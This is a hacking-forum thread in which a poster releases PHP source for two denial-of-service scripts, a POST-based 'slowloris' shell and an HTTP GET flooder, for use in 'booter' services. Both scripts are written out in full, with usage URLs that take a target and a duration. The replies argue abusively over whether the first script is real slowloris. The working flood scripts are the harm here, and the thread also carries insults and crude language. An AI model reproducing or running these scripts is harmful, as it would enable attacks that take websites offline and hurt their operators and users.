[1 + 3 + 3 = 7]

Since my thread got deleted I have to repost it.

Well guys, since ChickenX is no longer running. We have decided to give our source code for our slowloris/http shell source. This is also due to Orgy being a noob and not giving us credit for the shells that he is using in his new twBooter, if we didn't send him our source, no one would have had this.

You brang this on yourself Orgy, all you had to do is give us credits, you go around acting asif you can code everything, but you really cant. You begged us, we told you to give us credit, you didnt.

Here they are:

Slowloris PHP Shell:

PHP Code


<?php
/* 
All credits go to LUKE from ChickenX
Best coder in my eyes - Matin
*/ 
$ip = $_GET['ip'];
set_time_limit(0);
ignore_user_abort(FALSE);

$exec_time = $_GET['time'];
$time = time();
$max_time = $time+$exec_time;

while(1){
  if(time() > $max_time){
    break;
  }

  $fp = fsockopen($ip, 80, $errno, $errstr, 140);
  if (!$fp) {
    echo "$errstr ($errno)<br />\n";
  } else {
    $out = "POST / HTTP/1.1\r\n";
    $out .= "Host: $ip\r\n";
    $out .= "User-Agent: Opera/9.21 (Windows NT 5.1; U; en)\r\n";
    $out .= "Content-Length: 42\r\n\r\n";

    fwrite($fp, $out);
}
}
echo "Slowloris flood complete after: $exec_time seconds\n";
?>

Http PHP Shell

PHP Code


<?php
/* 
All credits go to LUKE from ChickenX
Best coder in my eyes - Matin
*/
$ip = $_GET['ip'];
$page = $_GET['page'];
set_time_limit(0);
ignore_user_abort(FALSE);

$exec_time = $_GET['time'];
$time = time();
$max_time = $time+$exec_time;

while(1){
  if(time() > $max_time){
    break;
  }

  $fp = fsockopen("$ip", 80, $errno, $errstr, 30);
  if (!$fp) {
    echo "$errstr ($errno)<br />\n";
  } else {
    $out = "GET $page HTTP/1.1\r\n";
    $out .= "Host: $ip\r\n";
    $out .= "Accept: */*\r\n";
    $out .= "User-Agent: Opera/9.21 (Windows NT 5.1; U; en)\r\n\r\n";
    fwrite($fp, $out);
  }
}
echo "HTTP flood complete after: $exec_time seconds\n";
?>

Example of usage for slowloris: shell.php?&ip=www.blah.com&time=60
Example of usage for http: shell2.php?&ip=www.blah.com&time=60&page=/

These two scripts will rape webservers espically slowloris.

It's that simple - the 'best' php coder in hackforums (Orgy? lol.) couldn't even code this. Funny huh?

Have fun booter owners.

[Unfair Advantage]

This isn't slowloris, It's a HTTP flood.

[Cida]

Lol, the fact that you keep cocksucking admins to delete my thread proves my point.

Not exactly, if someone made a thread like this about me, and it wasn't true, I'd want it deleted; it would be slander, possibly damaging peoples opinion on me.

[Unfair Advantage]

OH and although I wouldn't call orgy the Best PHP coder here he is good, You've produced a piece of shit that isn't even close to slowloris. Orgy is a good PHP coder as I've seen some of his work. You could dish the dirt on orgy if you could actually code a Slowloris Shell. Slowloris to work properly would require multithreading and to only send headers when needed to keep sockets open, You would also need to keep open hundreds or thosands of sockets. What I see here is a HTTP flooder than uses post.

[Inveno]

This is getting beyond a joke, I refuse to keep coming back to this thread over and over again, this has to be like the 10th time today.
Next time I come to it, I will be issuing bans.
Closing for 10 minutes to make sure this has been seen.

[Orgy]

Its not an implementation of slowloris, Not even close. This is Far far far from slowloris.

No, it's slowloris. It will effectively trick Apache into waiting for the content, just not for very long.

[Unfair Advantage]

http://ha.ckers.org/slowloris/

[Orgy]

http://ha.ckers.org/slowloris/

i know, I've studied rsnakes code and watched the video etc. to perform slowloris, all you have to do is trick apache into thinking that content is coming, and just never send it.

[[CX]Luke]

Its not hard to understand Apache reads Content-length which basically makes apache think there is POST data being received, it waits for the client to send the POST data, but it never arrives. So basically tricks apache into waiting for POST data and timing out.

[Uncomplicated]

All you guys are talking about Slowloris but no one has explained it. By the time you read this post, I would have acquired some information of Slowloris by googling for it. :P

Thank you for the code OP.

Edit: I know about it now | but partially, I am reading the article. don't know if sharing link of that site is allowed on HF or not :(

[Donace]

Thank you for this wonderful release.

[[CX]Luke]

OH and although I wouldn't call orgy the Best PHP coder here he is good, You've produced a piece of shit that isn't even close to slowloris. Orgy is a good PHP coder as I've seen some of his work. You could dish the dirt on orgy if you could actually code a Slowloris Shell. Slowloris to work properly would require multithreading and to only send headers when needed to keep sockets open, You would also need to keep open hundreds or thosands of sockets. What I see here is a HTTP flooder than uses post.

You are REALLLY dumb.

'All I see is a HTTP flooder that uses post'

WTF do you think Slowloris is you idiot? It connects to the website and sends a post request with no data. Meaning it tricks Apache into waiting for the post data when nothing is actually coming.

'Slowloris to work properly would require multithreading and to only send headers'

When you have 3000 slowloris shells why would you need it to be multithreaded? From the little research I did(I haven't coded in PHP for yearsss), with PHPs fsockopen function it cannot be made multi-threaded. I would have had to use cUrl, which I didn't do because alot of servers don't have PHP which supports cUrl.

Please come back kid when you realise Slowloris actually uses 'HTTP'

[Unfair Advantage]

You are REALLLY dumb.

'All I see is a HTTP flooder that uses post'

WTF do you think Slowloris is you idiot? It connects to the website and sends a post request with no data. Meaning it tricks Apache into waiting for the post data when nothing is actually coming.

'Slowloris to work properly would require multithreading and to only send headers'

When you have 3000 slowloris shells why would you need it to be multithreaded? From the little research I did(I haven't coded in PHP for yearsss), with PHPs fsockopen function it cannot be made multi-threaded. I would have had to use cUrl, which I didn't do because alot of servers don't have PHP which supports cUrl.

Please come back kid when you realise Slowloris actually uses 'HTTP'

Slwloris is a DoS attack, the idea it to take down an apache server with 1 computer using minimal server bandwidth. Flooding it from 3000 shells and raping the bandwidth destroys all the points of slowloris thus making you the idiot.

Go run some more msn accounts with your skidbot? While your at it realize slowloris is not a http flood.

From the offical site.
"In considering the ramifications of a slow denial of service attack against particular services, rather than flooding networks, a concept emerged that would allow a single machine to take down another machine's web server with minimal bandwidth and side effects on unrelated services and ports."

A http flood takes out the service by flooding it, Slowloris is not a flood. A flood is like a torrent of water not a slow inconsistent stream, Bk2School for you skid.

[[CX]Luke]

Are you dumb? Who says Slowloris is DoS and not DDoS, it is whatever you want to make it..

Raping bandwidth? :S Why the hell would it make a difference if you have 1 host with 3k sockets loaded, or 3000 hosts with 1 socket loaded each. ITS EXACTLY THE FUCKING SAME.

Slowloris uses the HTTP protocol, god you still don't get it do you?

[Orgy]

you really are stupid..wow man.

It's always funny when a few people that know what they're talking about are arguing, and then some skid that doesn't have a clue tries to chime in and help out his friend, but has no actual knowledge on the subject so they (you) can only say something completely low quality and unintelligent.